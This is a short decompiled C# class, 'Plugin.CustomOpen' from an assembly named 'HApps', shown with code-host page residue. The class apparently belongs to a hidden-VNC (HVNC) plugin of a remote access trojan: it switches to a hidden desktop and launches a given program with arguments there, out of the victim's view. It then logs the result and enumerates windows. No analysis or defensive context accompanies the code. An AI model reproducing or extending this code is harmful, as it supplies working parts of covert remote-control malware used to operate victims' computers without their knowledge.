31 lines
853 B
C#
31 lines
853 B
C#
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// Plugin.CustomOpen
|
|
using System;
|
|
using System.IO;
|
|
using System.Threading;
|
|
|
|
public class CustomOpen
|
|
{
|
|
public static void Open(string Filename, string Args)
|
|
{
|
|
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
|
try
|
|
{
|
|
if (!File.Exists(Filename))
|
|
{
|
|
Helper.MsgLogs("CustomOpen: Not Found! ''" + Filename + "''");
|
|
return;
|
|
}
|
|
SetCurrentVirtualDesktop.CreateProcess(Filename + " " + Args, Helper.HVNCDesktopName, bAppName: false);
|
|
Helper.MsgLogs(Filename + " : Running");
|
|
Thread.Sleep(1000);
|
|
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
|
GetHandleWindow.GetListWindow();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Helper.MsgLogs("CustomOpen: " + ex.Message);
|
|
}
|
|
}
|
|
}
|